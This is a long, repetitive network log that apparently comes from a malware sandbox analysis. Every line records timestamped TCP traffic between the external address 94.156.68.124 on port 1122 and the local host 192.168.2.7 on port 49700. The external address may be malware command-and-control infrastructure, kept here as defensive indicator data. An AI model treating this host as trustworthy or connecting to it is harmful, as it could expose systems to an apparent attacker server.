Sep 25, 2024 01:11:12.657875061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657887936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657891989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657916069 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.658066034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.658085108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.658111095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.665580034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665608883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665622950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665627003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.665668964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.665754080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665771008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665785074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665800095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.665808916 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.665863991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.665905952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666038036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666052103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666065931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666073084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666089058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666100979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666105032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666121960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666141987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666306973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666346073 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666598082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666729927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666743040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666757107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666765928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666773081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666790962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666876078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666891098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666906118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.666913033 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.666944027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.667514086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667546034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667561054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667592049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.667682886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667697906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667714119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667721987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.667766094 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.667807102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667949915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667964935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667979002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.667987108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.667995930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668011904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668015957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668026924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668064117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668237925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668253899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668267965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668279886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668292046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668306112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668474913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668489933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668504000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668514013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668519974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668535948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668541908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668581009 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668778896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668792963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668807983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668823957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668831110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668838978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668853045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668858051 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668869019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668884039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.668894053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.668924093 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.673495054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673507929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673522949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673554897 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.673588037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673604012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673629045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.673666954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673682928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673717022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.673748016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.673796892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674065113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674154997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674169064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674190998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674205065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674216986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674220085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674231052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674267054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674316883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674331903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674345016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674359083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674376011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674393892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674470901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674485922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674500942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674514055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674525023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674556971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674603939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674617052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674633980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674653053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674655914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674693108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674742937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674757004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674777985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674791098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674804926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674809933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674834013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674873114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.674911022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.674988985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675003052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675024033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675036907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675038099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675055027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675069094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675072908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675087929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675103903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675117016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675215006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675262928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675278902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675317049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675365925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675379992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675420046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675489902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675504923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675518990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675533056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675544024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675548077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675563097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.675565958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.675604105 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.743829966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.743859053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.743871927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.743911028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.743979931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.743995905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744010925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744019985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744029999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744045973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744163990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744199991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744213104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744280100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744294882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744308949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744323969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744342089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744437933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744452953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744477034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744492054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744507074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744508028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744523048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744533062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744539022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744580984 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744805098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744821072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744853973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.744901896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744916916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.744961023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752362013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752410889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752417088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752424955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752477884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752501965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752515078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752530098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752545118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752556086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752579927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752625942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752671957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752686977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752712965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752789974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752826929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752875090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752890110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752904892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752919912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752926111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.752937078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.752954006 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.753113031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753150940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.753508091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753532887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753546953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753567934 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.753679037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753694057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753709078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753719091 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.753726959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753746986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.753840923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.753876925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754332066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754355907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754370928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754394054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754488945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754504919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754520893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754528999 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754555941 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754637003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754652023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754672050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754688978 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754873991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754887104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754900932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754908085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754916906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754931927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754935980 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.754947901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.754975080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755147934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755163908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755178928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755187035 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755196095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755211115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755214930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755234957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755255938 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755547047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755562067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755577087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755590916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755594969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755608082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755609035 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755625010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755640030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755655050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755656004 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755671024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.755675077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.755723953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.760953903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761013031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761028051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761061907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761156082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761171103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761187077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761202097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761202097 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761224985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761389971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761404991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761419058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761434078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761435032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761456966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761588097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761603117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761617899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761631012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761656046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761743069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761759043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761791945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761812925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761828899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761843920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761858940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761873960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761874914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761893034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.761898994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.761934996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762286901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762301922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762317896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762332916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762339115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762350082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762363911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762372971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762407064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762583971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762600899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762623072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762638092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762640953 CEST	49700	1122	192.168.2.7	94.156.68.124
